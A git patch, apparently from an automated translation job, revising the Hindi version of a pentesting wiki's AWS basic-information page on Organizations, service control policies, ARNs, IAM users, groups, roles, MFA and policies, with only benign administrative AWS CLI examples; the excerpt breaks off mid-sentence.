From 2bead2e9a68ca3b6de2326c8549dc0d35bf49a2e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Feb 2025 23:54:19 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 122 ++++++------ .../aws-cloudtrail-enum.md | 40 ++-- .../aws-cloudwatch-enum.md | 96 +++++----- .../az-cloud-shell-persistence.md | 10 +- .../az-blob-storage-post-exploitation.md | 8 +- .../az-cosmosDB-post-exploitation.md | 87 ++------- .../az-file-share-post-exploitation.md | 14 +- .../az-logic-apps-post-exploitation.md | 69 ++----- .../az-mysql-post-exploitation.md | 71 ++----- .../az-postgresql-post-exploitation.md | 53 ++---- .../az-sql-post-exploitation.md | 20 +- .../az-cosmosDB-privesc.md | 27 +-- .../az-functions-app-privesc.md | 93 +++++----- .../az-key-vault-privesc.md | 2 +- .../az-logic-apps-privesc.md | 20 +- .../az-mysql-privesc.md | 29 +-- .../az-postgresql-privesc.md | 32 +--- .../az-servicebus-privesc.md | 8 +- .../az-privilege-escalation/az-sql-privesc.md | 16 +- .../az-storage-privesc.md | 34 ++-- .../azure-security/az-services/az-azuread.md | 173 ++++++++---------- .../az-services/az-cloud-shell.md | 14 +- .../azure-security/az-services/az-cosmosDB.md | 106 ++++------- .../az-services/az-file-shares.md | 14 +- .../az-services/az-function-apps.md | 91 +++++---- .../az-services/az-logic-apps.md | 58 +++--- .../azure-security/az-services/az-mysql.md | 46 ++--- .../az-services/az-postgresql.md | 47 ++--- .../az-services/az-queue-enum.md | 14 +- .../az-services/az-servicebus-enum.md | 32 ++-- .../azure-security/az-services/vms/README.md | 38 ++-- .../az-services/vms/az-azure-network.md | 67 +++---- .../kubernetes-securitycontext-s.md | 29 +-- 33 files changed, 644 insertions(+), 936 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 5ad71d4d3..3bf8ed8c4 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,52 +1,52 @@ -# AWS - मूल जानकारी +# AWS - Basic Information {{#include ../../../banners/hacktricks-training.md}} -## संगठन पदानुक्रम +## Organization Hierarchy ![](<../../../images/image (151).png>) -### खाते +### Accounts -AWS में एक **रूट खाता** होता है, जो आपके **संगठन** के सभी खातों के लिए **माता-पिता कंटेनर** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **विभिन्न AWS** अवसंरचनाओं को अलग करने के लिए **अन्य खाते बना सकते हैं**। +AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे को अलग करने के लिए **अन्य खाते बना सकते हैं**। -यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं। +यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं सकेगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं। -इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एक एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते। +इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते। -- **प्रबंधन खाता (रूट खाता)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं: +- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं: - संगठन में खाते बनाना - संगठन में अन्य मौजूदा खातों को आमंत्रित करना - संगठन से खातों को हटाना -- आमंत्रण प्रबंधित करना -- संगठन के भीतर संस्थाओं (रूट, OU, या खाते) पर नीतियाँ लागू करना +- आमंत्रणों का प्रबंधन करना +- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना - संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना। -- आप इस रूट खाते/संगठन को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके रूट उपयोगकर्ता के रूप में लॉगिन कर सकते हैं। +- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन कर सकते हैं। -प्रबंधन खाते की **भुगतानकर्ता खाते की जिम्मेदारियाँ** होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप संगठन के प्रबंधन खाते को बदल नहीं सकते। +प्रबंधन खाते की **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते। -- **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर। +- **सदस्य खाते** संगठन में सभी अन्य खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर। - सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)। ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **संगठन इकाइयाँ** +### **Organization Units** -खातों को **संगठन इकाइयों (OU)** में समूहित किया जा सकता है। इस तरह, आप संगठन इकाई के लिए **नीतियाँ** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं। +Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **policies** बना सकते हैं जो Organization Unit के लिए होंगी जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं। ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` -### सेवा नियंत्रण नीति (SCP) +### Service Control Policy (SCP) -एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**। +एक **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियाँ** निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**। -यह एकमात्र तरीका है कि **यहां तक कि रूट उपयोगकर्ता को कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\ +यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\ इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)। > [!WARNING] -> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा। +> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा। SCP उदाहरण: @@ -71,38 +71,38 @@ SCP उदाहरण: arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -ध्यान दें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं: +नोट करें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - पहचान और पहुंच प्रबंधन +## IAM - पहचान और पहुँच प्रबंधन -IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुंच नियंत्रण** प्रबंधित करने की अनुमति देती है। +IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है। - **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है। - **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो। -- **पहुंच नियंत्रण** - यह सुरक्षित संसाधन तक पहुंच कैसे दी जाती है, इसकी विधि और प्रक्रिया +- **पहुँच नियंत्रण** - यह सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया। -IAM को इसकी पहचान के लिए आपके AWS खाते के भीतर संसाधनों के लिए प्रमाणीकरण, अधिकार और पहुंच नियंत्रण तंत्रों को प्रबंधित, नियंत्रित और शासित करने की क्षमता द्वारा परिभाषित किया जा सकता है। +IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कैसे करता है। ### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुंच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**। +जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**। -ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**। +नोट करें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**। -सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस उपयोगकर्ता का उपयोग करने से बचना अनुशंसित है। +सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है। ### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं। +एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ इंटरैक्ट करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं। -जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करके। +जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उपयुक्त अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से जोड़कर। -उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुंच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))। +उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))। #### CLI @@ -110,12 +110,12 @@ IAM को इसकी पहचान के लिए आपके AWS खा - **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)। जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करना चाहिए:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +_एक नई एक्सेस कुंजी बनाएं -> सिस्टम/एप्लिकेशन पर नई कुंजी लागू करें -> मूल को निष्क्रिय के रूप में चिह्नित करें -> परीक्षण करें और सत्यापित करें कि नई एक्सेस कुंजी काम कर रही है -> पुरानी एक्सेस कुंजी हटाएं_ ### MFA - मल्टी फैक्टर प्रमाणीकरण यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\ -आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं। +आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक डिवाइस** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं। MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं: @@ -123,31 +123,31 @@ MFA शर्तों वाली नीतियाँ निम्नलि - एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय - एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है -यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जांच करता है** तो आपको **`GetSessionToken`** कॉल करने की आवश्यकता है। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\ -ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**। +यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\ +नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**। ```bash aws sts get-session-token --serial-number --token-code ``` -जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ऐसे कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**। +जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**। ### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**। +एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह एक समूह का हिस्सा नहीं हो सकते**। आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह** से जोड़ सकते हैं ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं। -उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं: +उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं: - एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**। - **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं। -- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा। +- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा। - AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें। ### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है। +एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि वह अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है। -एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**। +एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**। #### AWS सुरक्षा टोकन सेवा (STS) @@ -163,11 +163,11 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं: -- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई) +- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-निर्धारित) - ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर। -**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\ -यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)। +**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, पहुँच तब दी जाएगी जब एक स्पष्ट भूमिका निर्दिष्ट की गई हो।\ +यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)। ```javascript { "Version": "2012-10-17", //Version of the policy @@ -190,17 +190,17 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स ] } ``` -[वैश्विक फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). #### इनलाइन नीतियाँ इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\ -इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं**। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं। +इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं। #### संसाधन बाल्टी नीतियाँ -ये **नीतियाँ** हैं जो **संसाधनों** में परिभाषित की जा सकती हैं। **AWS के सभी संसाधन उनका समर्थन नहीं 